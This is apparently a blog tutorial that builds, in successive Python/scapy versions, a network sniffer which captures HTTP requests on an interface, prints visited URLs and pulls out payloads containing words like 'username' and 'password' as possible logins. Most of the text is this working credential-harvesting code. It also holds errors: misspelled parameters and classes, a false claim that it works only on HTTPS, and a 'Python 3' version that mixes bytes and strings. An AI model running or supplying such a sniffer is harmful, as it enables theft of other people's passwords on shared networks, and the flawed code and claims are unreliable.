WRITING A PACKET_SNIFFER

 PACKET_SNIFFER

CODE: BASE#1

  1. #!/usr/bin/env python

  2. import scapy.all as scapy

  3. def sniff(interface):
  4. scapy.sniff(iface=interface, store=False, prc=process_sniffed_packet)

  5. def process_sniffed_packet(packet):
  6. print(packet)

  7. sniff("eth0")

WITH DETAILS!
WE USE 3RD PARTY MODULE CUZ SCAPY DOESNOT USE HTTPS..
TO INSTALL 3RD PARTY MODULE: RUN:-ANY OF THE BELOW
  • pip install scapy_http
  • pip install layer.http
IF YOU FACE TRACE-BACK ERROR REINSTALL KALI!!
NOTE THIS PROGRAMME WILL ONLY WORK ON HTTPs/

#EXTRACTING DATA FROM A SPECIFIC LAYER

CODE: BASE#2

  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. from scapy.layers import http

  4. def sniff(interface):
  5. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

  6. def process_sniffed_packet(packet):
  7. if packet.haslayer(http.HTTPRepuest):
  8. print(packet.show())

  9. sniff("eth0")

we put packet. show = to see/find the layers/fields in details
so we can put in our programing
#EXTRACTING OUR DESIRE OUTPUT!

EXAMPLE: EXTRACTING just LOGIN/USERNAME

CODE: MODEFIED#1
  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. from scapy_http import http

  4. def sniff(interface):

  5. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

  6. def process_sniffed_packet(packet):

  7. if packet.haslayer(http.HTTPRequest):
  8. if packet.haslayer(scapy.Raw):
  9. print(packet[scapy.Raw].load)

  10. sniff("eth0")

AN ISSUE:

If we wana sniff any further we get too many data again in the FIELD/LAYER[RAW/LOAD] itself hence we cannot find our desire stuffs

so to avoid this we use keywords 

#USING KEYWORDS!!

[FINDING SUB-STRING CONTAIN IN A BIG STRING]

CODE: MODEFIED#2

#!/usr/bin/env python

import scapy.all as scapy
from scapy_http import http

def sniff(interface):

scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def process_sniffed_packet(packet):

if packet.haslayer(http.HTTPRequest):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["username", "userName", "login", "password", "pass"]
for keyword in keywords:
if keyword in load:
print(load)
break

sniff("eth0")

#EXTRACTING URLs!!

we use print(packet.show()) to find the field/layer in which the URLs is in...


CODE: MODEFIED#3

  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. from scapy_http import http

  4. def sniff(interface):
  5. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

  6. def process_sniffed_packet(packet):

  7. if packet.haslayer(http.HTTPRequest):
  8. url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
  9. print(url)

  10. if packet.haslayer(scapy.Raw):
  11. load = packet[scapy.Raw].load
  12. keywords = ["username", "userName", "login", "password", "pass"]
  13. for keyword in keywords:
  14. if keyword in load:
  15. print(load)
  16. break

  17. sniff("eth0")

CODE: MODEFIED#4[Applying more functions]

  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. from scapy_http import http

  4. def sniff(interface):
  5. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

  6. def get_url (packet):
  7. return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

  8. def get_login_info(packet):
  9. if packet.haslayer(scapy.Raw):
  10. load = packet[scapy.Raw].load
  11. keywords = ["username", "userName", "login", "password", "pass"]
  12. for keyword in keywords:
  13. if keyword in load:
  14. return load


  15. def process_sniffed_packet(packet):
  16. if packet.haslayer(http.HTTPRequest):
  17. url = get_url(packet)
  18. print("[+] HTTP Request >>" + url)
  19. login_info = get_login_info(packet)
  20. if login_info:
  21. print("\n\n[+] Possible username/password >" + login_info + "\n\n")


  22. sniff("eth0")

CODE: MODEFIED#4-COMPATIBLE WITH PYTHON-3

  1. #!/usr/bin/env python

  2. import scapy.all as scapy
  3. from scapy_http import http

  4. def sniff(interface):
  5. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

  6. def get_url (packet):
  7. return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

  8. def get_login_info(packet):
  9. if packet.haslayer(scapy.Raw):
  10. load = str(packet[scapy.Raw].load)
  11. keywords = ["username", "userName", "login", "password", "pass"]
  12. for keyword in keywords:
  13. if keyword in load:
  14. return load


  15. def process_sniffed_packet(packet):
  16. if packet.haslayer(http.HTTPRequest):
  17. url = get_url(packet)
  18. print("[+] HTTP Request >>" + url.decode())
  19. login_info = get_login_info(packet)
  20. if login_info:
  21. print("\n\n[+] Possible username/password >" + login_info + "\n\n")


  22. sniff("eth0")



Post a Comment

If you have any doubts, please let me know

Previous Post Next Post